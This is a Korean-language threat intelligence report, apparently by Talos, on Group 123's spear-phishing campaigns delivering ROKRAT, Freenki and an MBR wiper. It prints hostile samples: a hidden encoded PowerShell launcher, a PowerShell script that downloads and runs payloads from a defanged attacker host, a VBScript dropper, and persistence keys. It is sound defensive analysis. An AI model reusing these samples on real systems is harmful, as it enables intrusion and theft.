특정 공격 조직이 대한민국을 주요 대상으로 진행한 여러 캠페인들에 대한 1년 동안의 검토 결과.
이 블로그 게시물은 Warren Mercer와 Paul Rascagneres가 작성하였으며 Jungsoo An의 도움을 받아 최종적으로 작성되었습니다.
Executive Summary
이 기사에서는 2017년에 Group 123이 진행한 악성 활동에 대해 보여드립니다. 우리는 분석을 통해 다음과 같은 여섯 가지 캠페인이 Group 123에 의해 진행되었음을 확신하고 있습니다.
- "골든 타임" 캠페인
- "사악한 새해" 캠페인
- "행복하십니까?" 캠페인
- "FreeMilk" 캠페인
- "북한 인권" 캠페인
- "사악한 새해 2018년" 캠페인
2018년 1월 2일에 "사악한 새해 2018년" 캠페인이 시작되었습니다. 이 캠페인은 2017년 "사악한 새해" 캠페인의 접근 방식을 그대로 따르고 있습니다.
이 두 캠페인 사이의 링크는 여러 캠페인들 전반에 존재하는‘공유코드’및‘PDB(프로그램 데이터베이스)’와 같은 컴파일러 아티팩트 패턴 등을 포함합니다.
분석 결과에 따르면 "골든 타임", "사악한 새해", "북한 인권" 캠페인은 모두 대한민국 사용자를 특정 대상으로 삼고 있습니다. 공격자는 한컴오피스 제품군을 사용하여 만든 악성 HWP 문서와 결합된 스피어 피싱 이메일을 사용했습니다. Group 123은 OLE 개체를 활용하는 스크립팅 언어 또는 익스플로잇(예: CVE-2013-0808)을 사용하는 것으로 알려져 있습니다. 이러한 악성 문서의 목적은 RAT(원격 관리 툴)인 ROKRAT을 설치하고 실행하는 것이었습니다. 경우에 따라 공격자는 ROKRAT 페이로드를 악성 문서에 직접적으로 포함시켰으며, 다른 캠페인을 수행하는 동안 다단계 감염 프로세스를 활용했습니다. 이러한 문서는 위험에 노출된 웹 서버에서 ROKRAT을 다운로드하도록 설계된 다운로더만을 포함하였습니다.
또한, "FreeMilk" 캠페인은 한국 금융 기관 이외 여러 금융 기관을 대상으로 했습니다. 이 캠페인에서 공격자는 일반적으로 사용하던 한컴 문서를 벗어나 악성 Microsoft Office 문서를 사용했습니다. 이 문서는 최신 취약점인 CVE-2017-0199를 익스플로잇했습니다. Group 123이 이 취약점을 이용한 때는 그것이 대중에게 공개된 지 한 달도 채 되지 않은 시점이었습니다. 이 캠페인을 수행하는 동안 공격자는 PoohMilk와 Freenki라는 2개의 서로 다른 악성 바이너리를 사용했습니다. PoohMilk는 Freenki를 실행하려는 용도로만 존재하며, Freenki는 감염된 시스템에 대한 정보를 수집하고 후속 단계의 페이로드를 다운로드하는 데 사용됩니다. 이 악성코드는 2016년에 여러 캠페인에서 사용되었으며 일부 ROKRAT과 중복된 코드를 포함하고 있습니다.
마지막으로, Group 123과 연결된 여섯 번째 캠페인을 파악했습니다. 이 여섯 번째 캠페인의 이름은 "행복하십니까?"입니다. 이 캠페인에서 공격자는 디스크 와이퍼를 구축했으며, 공격의 목적은 감염된 원격 시스템에 대한 액세스 권한을 얻어 디바이스의 첫 번째 섹터를 지우는 것이었습니다. 이 와이퍼는 ROKRAT 모듈인 것으로 확인되었습니다.
이 공격 조직은 올해 매우 활발하게 활동했으며 계속해서 대한민국을 주요 공격 대상으로 삼았습니다. 이 그룹이 활용한 스피어 피싱 캠페인 및 악성 문서의 경우, 번역 서비스를 사용하지 않고 한국 현지인이 작성한 것으로 보이는 대단히 구체적인 표현이 내용에 포함되어 있었습니다. 공격 조직은 다음을 수행할 수 있습니다.
- 워크플로에 익스플로잇(한글 및 Microsoft Office용) 포함하기
- 페이로드를 여러 단계로 분할하여 해당 캠페인 수정하기
- 침해된 웹서버 또는 합법적인 클라우드 기반의 플랫폼 사용하기
- HTTPS 통신을 사용하여 트래픽 분석을 더 어렵게 만들기
- 서드파티의 보안을 침해하여 실제처럼 느껴지는 스피어 피싱 캠페인 위조하기(예: "골든 타임" 캠페인에서의 연세대학교 사칭)
- 2018년에는 파일리스 공격방식을 사용하는 등 공격 조직은 계속해서 진화
타임라인
2017년부터 2018년 초에 이르기까지의 타임라인을 정리해 보면 다음과 같습니다.
2016년 8월~2017년 3월: "골든 타임" 캠페인
Group 123 캠페인 대다수와 마찬가지로 이 캠페인을 수행하는 동안의 초기 공격 벡터는 스피어 피싱이었습니다.
Talos는 서로 다른 두 종류의 이메일을 확인했으며, 이 중에서 첫 번째로 발견한 이메일이 가장 흥미로웠습니다. 이 샘플에서는 공격자가 "통일·북한 학술대회" 관련 패널로 합류하도록 사용자를 유도한다는 점이 관찰되었습니다. 이메일에는 수신자가 첨부된 문서를 작성하여 필요한 피드백을 제공해야 한다고 설명되어 있습니다. 이는 존재하지 않는 학술대회인 것으로 보입니다. 통일 학술대회와 가장 비슷한 학술대회는 2017년 1월에 개최되었던 NYDA 통일 학술대회인 것으로 확인되었습니다. 발신자는
'kgf2016@yonsei.ac.kr'로, 별도의 학술대회인 한반도국제포럼의 담당자 이메일이었습니다.
이메일 헤더를 분석한 결과 이 이메일은 연세대학교 네트워크와 연결된 IP를 사용하는 SMTP 서버에서 전송되었음이 확인되었습니다. 공격자가 이 이메일 주소의 보안을 침해하고 이를 악용하여 이 캠페인에서 사용된 이메일을 전송한 것으로 보입니다.
악성 첨부 파일의 파일 이름은 통일 학술대회에 관한 이메일 내용을 뒷받침하는 '통일북한학술대회 - 심사서류'로 변환됩니다. 이메일 본문에서 공격자는 문서를 작성한 사람에게 '소정의 사례금'을 제공할 것이라고 제안하기도 합니다. 여기서 말하는 사례금이란 아마도 임베디드 악성코드일 것입니다.
Talos가 분석한 두 번째 이메일은 더 간단히 만들어진 이메일이었습니다. 이 이메일은 Daum에서 제공하는 한국의 무료 이메일 서비스인 한메일로 전송되었습니다. 앞에서 설명한 이메일과 달리 여기서는 공식 기관 또는 개인이 발신한 것처럼 보이려고 시도하지 않았습니다. 제목은 간단한 '도움요청'이었으며, 첨부 파일의 이름은 '저는요 북조선 강원도 문천 사람이에요.'였습니다. 여기서 공격자는 이메일을 읽는 사람에게 강원도 문천(1945년에 한국이 분단되기 전에 대한민국 강원도에 속했던 지역)을 언급함으로써 동정심을 유발하려던 것으로 의심됩니다.
두 번째 이메일에는 도움을 필요로 하는 '김아령'이라는 사람에 관한 이야기가 포함되어 있습니다.
이메일의 첨부 파일은 서로 다른 2개의 HWP 문서이며, 두 문서에서는 모두 동일한 취약점(CVE-2013-0808)을 활용합니다. 이 취약점은 EPS(Encapsulated PostScript) 형식을 대상으로 합니다. 셸코드의 목적은 인터넷에서 페이로드를 다운로드하는 것입니다. 첫 번째 이메일에서는 감염된 사용자에게 다음과 같은 악성 문서가 표시되고 다음과 같은 페이로드가 다운로드됩니다.
- hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpg
두 번째 이메일에서는 감염된 사용자에게 다음과 같은 악성 문서가 표시되고 다음과 같은 페이로드가 다운로드됩니다.
- hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
두 경우 모두 다운로드된 페이로드는 ROKRAT 악성코드입니다.
이러한 ROKRAT 변종이 수행하는 첫 번째 작업은 운영 체제 버전을 확인하는 것입니다. Windows XP가 탐지되면 이 악성코드는 무한 루프를 실행합니다. 이는 Windows XP 머신을 실행하는 샌드박스 시스템에서 열린 경우, 비어 있는 보고서를 생성하기 위함입니다. 이 악성코드는 또한 현재 감염된 시스템에서 일반적인 분석 툴이 실행되고 있는지 확인합니다. 이러한 툴이 있다고 탐지되는 경우 이 악성코드는 다음과 같이 합법적인 웹 사이트를 대상으로 2개의 네트워크 요청을 수행합니다.
- hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
- hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4
Amazon URL에서는 '맨 오브 워'라는 WWII 게임을 표시하며, Hulu URL에서는 '골든 타임'이라는 일본 애니메이션 쇼의 스트리밍을 시도합니다.
ROKRAT을 식별할 수 있는 특징 중 하나는 ROKRAT이 소셜 네트워크 및 클라우드 플랫폼을 사용하여 공격자와 통신한다는 점입니다. 이러한 플랫폼은 문서를 추출하고 명령을 수신하는 데 사용됩니다. 이 변종에서 사용되는 플랫폼은 Twitter, Yandex, Mediafire입니다. 각 플랫폼에 대한 토큰은 다음과 같이 샘플 내에 하드 코딩되어 있습니다.
2016년 11월~2017년 1월: "사악한 새해" 캠페인
2017년 초에 Group 123은 "사악한 새해" 캠페인을 시작했습니다. 이 캠페인에서 공격 조직은 대한민국 통일부에서 대한민국에 국한된 분석을 제공하는 이메일을 보낸 것으로 가장하여 피해자를 속이려고 시도했습니다. 이 캠페인은 대한민국을 대상으로 하며 악성 첨부 파일을 포함하는 소수의 스피어 피싱 이메일로 시작되었습니다. Group 123은 피해자가 일반적인 한컴 문서를 사용하여 첨부 파일을 열도록 유도하기 위해 추가적인 시도를 했습니다.‘한컴’사의 한글은 한국에서 주로 사용되는 주요 오피스 제품군입니다. 한컴오피스 문서는 일반적으로 한국 표준 문서로 사용되고 있습니다. 공격자가 Microsoft 문서를 사용했다면 피해자가 의심했을 수 있습니다. 해당 지역의 파일 형식을 사용하는 경우 이러한 형식은 일부 보안 소프트웨어 제품에서 제대로 처리되지 않을 수 있으며 이를 통해 공격자가 빠져나갈 수 있게 됩니다.
이 문서는 "2017년 北 신년사 분석"이라는 제목으로 대상에게 발송되었으며, 여기에서 대한민국 통일부의 공식 로고가 사용되었습니다. 공격 조직이 간단히 사용할 수 있는 이 로고는 이 문서가 해당 지역과 연관성이 높아 보이게 만듭니다.
이 문서에서는 북한의 새해 활동에 대해 논의한다고 주장했으며, 이는 대한민국의 피해자가 매우 관심을 가질 수 있을 만한 내용이었을 것입니다. 이 문서는 Group 123이 선택한 대상이라고 생각되는 정부 기관에서 특히 관심을 가질만한 내용이었습니다.
이 문서의 목적은 사용자가 페이지 아래의 임베디드 악성 문서를 열도록 유도하는 것이었습니다.
공격 조직은 2개의 추가 링크를 임베드하고 이 문서에서 사용자가 북한의 새해 활동에 관한 자세한 내용을 확인하기 위해 이러한 링크를 클릭하도록 유도했습니다. 첫 번째 링크는 "'16년 및 '17년 주요과업 비교"라고 레이블이 지정되어 있으며, 두 번째 링크는 "'16년 및 '17년 대남분야 비교"라고 레이블이 지정되어 있습니다.
이러한 링크를 열면 사용자에게 추가적인 악성 한글 문서가 표시되었습니다. 잘 작성된 이 문서는 새로운 한국 공격 조직이 나타났다는 점에 대해 더 확신을 가지게 합니다. 이러한 문서에는 바이너리를 설치하는 데 사용되는 악성 OLE 개체가 포함되어 있었습니다.
그러나 이번에는 악성 OLE(Object Link Embedded) 개체가 포함되어 있었습니다.
초기 분석에서는 이 문서 내의 크기가 비슷한 두 OLE 개체 파일이 똑같이 실행된다는 점이 확인되었습니다.
설치된 두 바이너리는 분석 중에 다음 위치에서 저장 및 실행되었습니다.
- C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exe
- C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exe
초기 분석에서는 Group 123의 몇 가지 허술했던 정리 작업이 드러났습니다. 이 내용은 다음과 같은 바이너리 내에 컴파일 아티팩트로 남아 이후에 별도의 캠페인이 동일한 공격 조직의 작업이었는지 판단하는 데 사용되었습니다.
- e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb
설치된 바이너리의 두 번째 단계는 이 프로세스에 셸코드를 삽입하고 wscript.exe를 실행하는 데 사용되었습니다. 셸코드는 리소스 'BIN' 내에 임베디드되어 있으며 다른 PE32 바이너리의 압축을 풀고 wscript.exe를 사용하여 해당 바이너리를 실행하는 데 사용됩니다. 이를 수행하기 위해 Group 123은 VirtualAllocEx(), WriteProcessMemory() 및 CreateRemoteThread() Windows API 호출을 활용하는, 잘 알려진 기술을 사용합니다.
쉘코드로부터 압축이 풀린 새로운 PE32 파일은 최종 페이로드를 얻기 위하여 C2 인프라스트럭쳐와 통신하는데 사용되는 초기 정찰 악성코드입니다. 이 악성코드가 수집한 정보에는 다음이 포함됩니다.
- 컴퓨터 이름
- 사용자 이름
- 샘플의 실행 경로
- BIOS 모델
- 시스템을 고유하게 식별하기 위해 임의로 생성된 ID
Group 123은 이 방법을 활용하여 피해자가 (a) 추가로 대상으로 삼길 원했던 대상이며 (b) 정찰 단계에서 얻은 정보에 기초하여 추가로 감염시킬 수 있는 대상인지 확인했습니다.
추가 네트워크 분석을 통해 바이너리가 다음 URL에 연결하려고 시도했음을 알게 되었습니다.
- www[.]kgls[.]or[.]kr/news2/news_dir/index.php
-
www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg
한국정부법무공단(KGLS)은 한국 정부의 법률 사무를 관리하는 합법적인 한국 정부 기관입니다. 공격자는 KGLS의 보안을 침해하여 공격을 실행할 신뢰할 수 있는 플랫폼을 확보했습니다.
초기 네트워크 연결은 'index.php'에 대한 연결입니다. 이 연결은 정찰 단계에서 수집한 정보를 전송합니다. 공격자는 이 정보를 사용하여 감염된 피해자에게 서비스를 제공하기 위해 특정한 파일 이름(임의 ID 기준)을 결정합니다. 이 사례에서는 파일 이름이 02BC6B26이었는데 이는 공격자 C2에서 "02BC6B26_put.jpg" 파일이 생성되었음을 의미합니다. 그러고 나서 이 파일은 설치되고 피해자 머신에서 'officepatch.exe'로 이름이 변경되었습니다. 공격자가 공격 대상에 대해 신중하게 행동했기 때문에 분석 중에 이 파일을 확보할 수 없었습니다.
분석을 통해 이 공격 조직이 사용한 추가적인 명령 제어 인프라스트럭쳐를 식별할 수 있었습니다. 다음 국가에 기반을 둔 4개의 C2가 관찰되었습니다.
- 대한민국에 기반을 둔 3개의 C2
- 네덜란드에 기반을 둔 1개의 C2
식별된 인프라스트럭쳐의 글로벌 맵은 다음과 같습니다.
이전 캠페인과 반대로 공격자는 기본 ROKRAT 페이로드에서 정찰 단계를 분리했습니다. 이 트릭은 탐지를 피하기 위해 사용되었을 가능성이 높습니다. 이는 Group 123의 흥미로운 적응 방식입니다.
2017년 3월: "행복하십니까?" 캠페인
2017년 3월에 Group 123은 디스크 와이퍼를 컴파일했습니다. 악성코드에는 1개의 함수가 포함되어 있으며, 이 함수의 목적은 감염된 시스템의 드라이브(\\.\PhysicalDrive0)를 열고 MBR에 다음 데이터를 작성하는 것입니다.
작성된 버퍼에 "Are you Happy?"(행복하십니까?)라는 문자열이 표시됩니다. 악성코드는 MBR에 데이터를 작성한 후 다음 명령을 사용하여 머신을 재부팅합니다. c:\windows\system32\shutdown /r /t 1
재부팅 후 MBR에서는 사용자에게 다음과 같은 문자열을 표시합니다.
다른 캠페인의 링크는 다음 PDB 경로로 연결되었습니다.
- D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb
보시다시피 이는 ROKRAT PDB와 완벽하게 일치합니다. 이 와이퍼는 ERSP.enc라는 이름의 ROKRAT 모듈입니다. ERSP는 ERaSePartition을 의미하고 있을 것으로 추정합니다. 이 모듈은 Group 123의 요구에 따라 다운로드 및 실행될 수 있습니다.
이는 한국의 발전소를 대상으로 한 2014년 12월의 공격에서 와이퍼가 표시한 메시지가 "Who Am I?”였다는 점을 고려해 보면 흥미로운 샘플입니다.
2017년 5월: "FreeMilk" 캠페인
이 캠페인은 한국 이외 금융 기관을 대상으로 했지만 다른 캠페인과 달리 HWP 문서를 사용하지 않고 Office 문서를 사용했습니다. 이러한 변화는 Group 123이 이 캠페인을 수행하는 동안에는 대한민국을 대상으로 하지 않았으며, 나머지 국가에서는 Microsoft Office를 사용하는 것이 일반적이기 때문입니다.
감염 벡터
공격자는 Microsoft Office 내에 악성 HTA 문서를 다운로드하고 실행하기 위해 CVE-2017-0199를 익스플로잇했습니다. 사용된 URL은 임베디드 OLE 개체에서 찾을 수 있습니다.
hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
다운로드한 HTA 문서의 소스 코드는 다음과 같습니다.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>Bonjour</title>
<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
owFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=" ,0
owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0
End If
Self.Close
</script>
<hta:application
id="oHTA"
applicationname="Bonjour"
application="yes"
>
</head>
</html>
Base64 알고리즘을 사용하여 디코딩하면 최종 페이로드를 읽을 수 있습니다.
$c=new-object System.Net.WebClient
$t =$env:temp
$t1=$t+"\\alitmp0131.jpg"
$t2=$t+"\\alitmp0132.jpg”
$t3=$t+"\\alitmp0133.js"
try
{
echo $c.DownloadFile(
"hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1)
$c.DownloadFile(
"hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2)
$c.DownloadFile(
"hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3)
wscript.exe $t3
}
catch
{
}
이 스크립트의 목적은 Windows 스크립트와 2개의 인코딩된 페이로드를 다운로드하고 실행하는 것입니다. 스크립트는 다음 페이로드를 디코딩 및 실행하는 데 사용됩니다.
- Appach01.jpg(변경된 이름: Windows-KB275122-x86.exe)는 Freenki 샘플입니다.
- Appach01.jpg(변경된 이름: Windows-KB271854-x86.exe)는 PoohMilk 샘플입니다.
PoohMilk 분석
PoohMilk 샘플은 다음과 같은 2개의 작업을 수행하기 위해 설계되었습니다.
- 지속성을 생성하여 다음 재부팅 시 Freenki 샘플을 실행합니다.
- 감염된 머신에서 특정 파일을 확인합니다.
첫 번째 작업은 이전에 다운로드한 Windows-KB275122-x86.exe 파일을 실행하기 위해 레지스트리 키를 생성하는 것입니다. 파일은“help”인자를 사용하여 실행됩니다. 레지스트리 생성은 다음과 같습니다.
지속성이 생성된 레지스트리 위치: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update. 다음 재부팅 시 악성코드가 실행됩니다.
두 번째 작업은 "wsatra.tmp" 파일이 현재 사용자의 임시 디렉토리에 있는지 확인하는 것입니다. 이 파일이 있는 경우 파일 내용은 LNK(링크) 확장자를 가진 두 번째 파일을 찾는 데 필요한 경로를 얻는 데 사용됩니다. LNK 파일은 마지막으로 세 번째 파일인 ZIP 파일을 식별하는 데 사용됩니다. 이 파일은 RTF 문서를 검색하기 위해 확장되며, 이 문서는 Wordpad 실행을 통해 감염된 사용자에게 표시됩니다.
PoohMilk 샘플의 PDB 경로는 다음과 같습니다.
- E:\BIG_POOH\Project\milk\Release\milk.pdb
Freenki 샘플
Freenki의 목적은 감염된 시스템에서 정보를 수집하고 세 번째 실행 파일을 다운로드하는 것입니다.
이 샘플은 다음과 같이 서로 다른 3가지 인수를 사용하여 실행될 수 있습니다.
- "Help": PoohMilk에 의해 구성된 값. 이 상황에서는 기본 함수가 실행됩니다.
- "Console": 이 인수를 사용하면 지속성이 구성되며 다음 재부팅 시 악성코드가 실행됩니다(HKCU\Software\Microsoft\Windows\CurrentVersion\Run\runsample).
- "Sample": 이 인수를 사용하면 악성코드가 console 명령을 실행한 다음 help 명령을 실행합니다.
수집된 정보는 WMI 쿼리를 사용하여 수행됩니다.
또한, 악성코드는 Microsoft Windows API를 통해 실행 중인 프로세스를 나열합니다. 악성코드는 난독화를 사용하여 URL 또는 사용자 에이전트 등의 문자열을 숨기며, 이 알고리즘은 비트연산(SUB 0x0F XOR 0x21)을 기반으로 합니다. 디코딩된 데이터는 다음과 같습니다.
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)
다운로드된 세 번째 페이로드도 동일한 기술을 사용하여 난독화되며, 파일은 "PNGF"로 시작하는 가짜 이미지입니다.
2017년 11월: "북한 인권" 캠페인
2017년 11월에 Talos는 올해의 최신 Group 123 캠페인을 관찰했습니다. 이 캠페인에는 최신 공격 흐름에서 사용되고 있는 새 버전의 ROKRAT이 포함되어 있습니다. Group 123은 주요 공격 활용 카드 중 하나인 악성 hwp 문서를 다시 사용했으며, 이번에는 대한민국 서울에서 11월 1일에 개최된 회의와 관련된 정보가 포함된 문서를 사용했습니다. 이 문서는 "북한 인권 및 한반도 통일을 위한 시민 연대"를 대표한다는 한 변호사가 작성했다고 주장했습니다. Group 123은 남북통일과 관련된 정보를 한 번 더 사용하면서 이제 인권 문제와 관련된 쟁점을 강조하고 있습니다.
Talos는 이 문서에서 새 버전의 ROKRAT을 찾을 수 있었습니다. 일반적인 Group 123 활동과 마찬가지로 이 문서도 완벽한 한국어 텍스트와 방언으로 작성되었으며, 이 점은 해당 조직이 한반도를 기반으로 하고 있음을 시사합니다.
문서 텍스트에 대한 추가 분석을 통해 상황을 이해할 수 있었습니다. 이 문서에서는 "북한 인권 및 한반도 통일을 위한 시민 연대"에 속해 있다고 주장하는 변호사가 '올바른 인권통일을 위한 시민모임'에 대해 언급하고 있습니다. 이 문서의 주요 목적은 대한민국에서 2016년에 통과된 "북한인권법" 및 "시행령 제정"과 관련된 사항을 논의하는 회의를 마련하는 것이었습니다. 이 기사는 '올인통' 시민모임 내의 이해 관계자가 토론에 참여하도록 유도하여 이러한 활동과 관련된 추가적인 아이디어 작업을 수행해 보고자 했습니다. 회의는 2017년 11월 1일에 열릴 예정이었으며 이 문서는 회의 전에 더 많은 관심을 얻기 위한 것이었습니다.
Group 123은 다시 한 번 HWP 문서 내의 OLE 개체를 활용했습니다. 분석은 zlib 압축 해재 (HWP 문서의 표준 작업)로 시작되며, 이를 통해 다음 스크립트를 복구할 수 있습니다.
const
strEncode =
"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hV[...redacted...]AAAAAAAAAAAAAAAAAAAAAA="
DIM outFile
DIM base64Decoded
DIM shell_obj
SET shell_obj = CreateObject("WScript.Shell")
DIM fso
SET fso = CreateObject("Scripting.FileSystemObject")
outFile = "c:\ProgramData\HncModuleUpdate.exe"
base64Decoded = decodeBase64(strEncode)
IF NOT(fso.FileExists(outFile)) then
writeBytes outFile, base64Decoded
shell_obj.run outFile
END IF
WScript.Quit()
private function decodeBase64(base64)
DIM DM, EL
SET DM = CreateObject("Microsoft.XMLDOM")
SET EL = DM.createElement("tmp")
EL.DataType = "bin.base64"
EL.Text = base64
decodeBase64 = EL.NodeTypedValue
end function
private Sub writeBytes(file, bytes)
DIM binaryStream
SET binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write bytes
binaryStream.SaveToFile file, 1
End Sub
이 스크립트는 strEncode 변수 내에서 정적 base64 문자열을 디코딩하는 데 실행 및 사용됩니다. base64 인코딩을 사용하여 디코딩된 바이너리가 HncModuleUpdate.exe로 저장된 다음 실행됩니다. 이는 ROKRAT 드로퍼입니다. 파일 이름은 실행되고 있는 프로세스 중에 잠재적인 한컴 업데이트 프로그램으로 표시되도록 선택된 것으로 의심됩니다.
드로퍼는 SBS라는 이름의 새로운 리소스를 추출하는 데 사용됩니다. 이러한 특정 리소스에는 악성코드에서 사용되는 악성 셸코드가 포함되어 있습니다. 또한, cmd.exe 프로세스가 프로세스 삽입을 위해 VirtualAlloc(), WriteProcessMemory() 및 CreateRemoteThread() Windows API를 사용하여 실행 및 사용되었습니다. 처음 발견된 ROKRAT과 같이 유사한 Windows API가 계속 사용되고 있습니다. 아래와 같이 IDA의 그래프 보기를 통해 이러한 단계들을 확인할 수 있습니다.
이러한 실행 단계에서는 PE 바이너리를 디코딩하고 cmd.exe 프로세스에 삽입함으로써 새로운 ROKRAT 변종을 실행할 수 있습니다.
이 캠페인에서 Group 123의 특이한 점 중 하나는 사용자에게 다음과 같은 사진을 악성 이미지로 제공했다는 점입니다. 이러한 이미지는 한국의‘독립 운동’및 한국 전쟁과 관련이 있는 것으로 대중적으로 공개되어 있는 이미지입니다.
이 새로운 버전의 ROKRAT에 대해 보다 심층적인 분석을 수행하자 Group 123의 "사악한 새해" 캠페인과의 몇 가지 유사점을 발견하기 시작했습니다. 이 유사점에 대해서는 이 글의 뒷부분에서 설명되어 있습니다.
이 ROKRAT 변종에는 안티 샌드박스 기술이 포함되어 있습니다. 이 변종은 다음과 같은 라이브러리가 피해자 머신에 로드되었는지를 확인하여 수행됩니다.
- SbieDll.dll(sandboxie 라이브러리)
- Dbghelp.dll(Microsoft 디버깅 툴)
- Api_log.dll(threatAnalyzer/GFI SandBox)
- Dir_watch.dll(threatAnalyzer/GFI SandBox)
이 ROKRAT 변종에서 분석을 어렵게 만들기 위해 사용한 몇 가지 다른 기술을 발견할 수 있었는데, Group 123은 NOP(No Operation)와 관련된 안티 디버깅 기술을 사용했습니다.
nop dword ptr [eax+eax+00h]는 5바이트 NOP입니다. 그러나 이 opcode는 일부 디버깅 툴에서 올바르게 지원되지 않습니다. 예를 들어, Immunity Debugger에서는 어셈블리를 빨간색 "???"로 대체하여 디버깅 시도를 어렵게 만듭니다.
브라우저 도용 메커니즘이 도입된 이 버전의 ROKRAT은 일부 수정된 부분을 포함하여 2016년 Freenki 악성코드를 사용한 FreeMilk 캠페인에 활용된 것들과 유사합니다.
Group 123은 이 캠페인에서 클라우드 플랫폼(이번에는 pCloud, Dropbox, Box, Yandex 활용)을 계속 사용했습니다.
마지막으로 이 캠페인을 수행하는 동안 사용된 샘플의 PDB는 다음과 같습니다.
- d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb
2018년 1월: "사악한 새해 2018년" 캠페인
2017년 초에 관찰한 것과 같이 Group 123은 2018년 새해에 맞춘 캠페인을 시작했습니다. 이 캠페인은 1월 2일에 시작되었습니다. 감염 벡터는 다음과 같은 악성 HWP 문서였습니다.
이 악성 문서는 북한 지도자의 2018년 신년사를 분석한 것입니다. 이러한 접근 방식은 2017년에 확인되었던 새로운 악성 문서를 사용하는 방식과 정확히 동일합니다. 이 문서는 왼쪽 상단의 로고에서도 알 수 있듯이 통일부에서 작성했다고 주장했습니다.
이 문서는 "골든 타임" 캠페인과 비슷하게 보안이 침해된 웹 사이트에 있는 셸코드를 다운로드 및 실행하기 위해 EPS 취약점을 익스플로잇합니다.
- hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.png
가짜 이미지를 사용하는 것은 이 그룹의 일반적인 패턴입니다. 이러한 이미지에는 임베드된 최종 페이로드인 ROKRAT을 디코딩하는 데 사용된 셸코드가 포함되어 있습니다. 이 ROKRAT 변종은 메모리에서 로드됩니다. 이는 파일리스 버전의 ROKRAT 입니다. 이 행동은 Group 123이 탐지를 피하기 위해 끊임없이 진화하고 있음을 보여줍니다. 평소와 같이 ROKRAT 샘플은 클라우드 제공자(이번에는 Yandex, pCloud, Dropbox, Box 활용)를 사용하여 작업자와 통신합니다.
캠페인 간의 링크
코드 공유
Talos는 Group 123이 서로 다른 악성코드 간에 코드를 공유한다는 점을 확인했습니다. 이 기사에서 언급된 샘플에서 공유되는 여러 가지 기능이 있지만, 이 문서에서는 2가지 기능, 즉 정찰 단계 및 브라우저 도용자만 다루도록 하겠습니다.
정찰 단계
"사악한 새해" 및 "북한 인권" 캠페인 2가지를 수행하는 동안 사용된 ROKRAT 샘플에는 정찰 단계가 포함되어 있습니다. "사악한 새해" 캠페인에서는 페이로드가 두 부분으로 분할되었으며 첫 번째 부분에 정찰 코드가 포함되었습니다. 다른 캠페인에서는 정찰 단계가 기본 페이로드에 바로 포함되었습니다. 이 코드는 동일합니다.
악성코드는 머신 유형을 확인하기 위해 다음과 같은 레지스트리 키를 사용합니다. HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData "시스템 제조업체" 값이 머신 유형을 식별하는 데 사용됩니다. 해당 코드는 사용된 Win32 API의 사용 방법을 설명하는 포럼 게시물(rohitab.com)에 기반하는 것으로 나타납니다. 소스 코드는 다음 머신 유형만 고려합니다.
default:
lpString = "(Other)"; break;
case 0x02: lpString = "(Unknown)"; break;
case 0x03: lpString = "(Desktop)"; break;
case 0x04: lpString = "(Low Profile Desktop)"; break;
case 0x06: lpString = "(Mini Tower)"; break;
case 0x07: lpString = "(Tower)"; break;
case 0x08: lpString = "(Portable)"; break;
case 0x09: lpString = "(Laptop)"; break;
case 0x0A: lpString = "(Notebook)"; break;
case 0x0E: lpString = "(Sub Notebook)"; break;
()를 사용하는 문자열 형식과 고려 중인 유형은 ROKRAT 샘플에서 사용된 것과 정확히 동일합니다.
흥미로운 점은 이 정찰 단계가 "골든 타임" 캠페인 진행 중에 사용된 ROKRAT 변종에는 포함되지 않았다는 점입니다.
브라우저 스틸러
“북한 인권”캠페인 진행 중에 사용된 ROKRAT 샘플에 처음으로 브라우저 크리덴셜 스틸러가 포함되었습니다. 이 작업을 수행하는 데 사용된 코드는 2016년에 구축된 Freenki 샘플에서 발견된 코드와 동일합니다.
악성 코드는 Internet Explorer, Chrome, Firefox에서 저장된 암호를 추출할 수 있습니다. Chrome, Firefox의 경우, 악성 코드는 URL, 사용자 이름 및 비밀번호를 포함하는 sqlite 데이터베이스를 쿼리합니다:
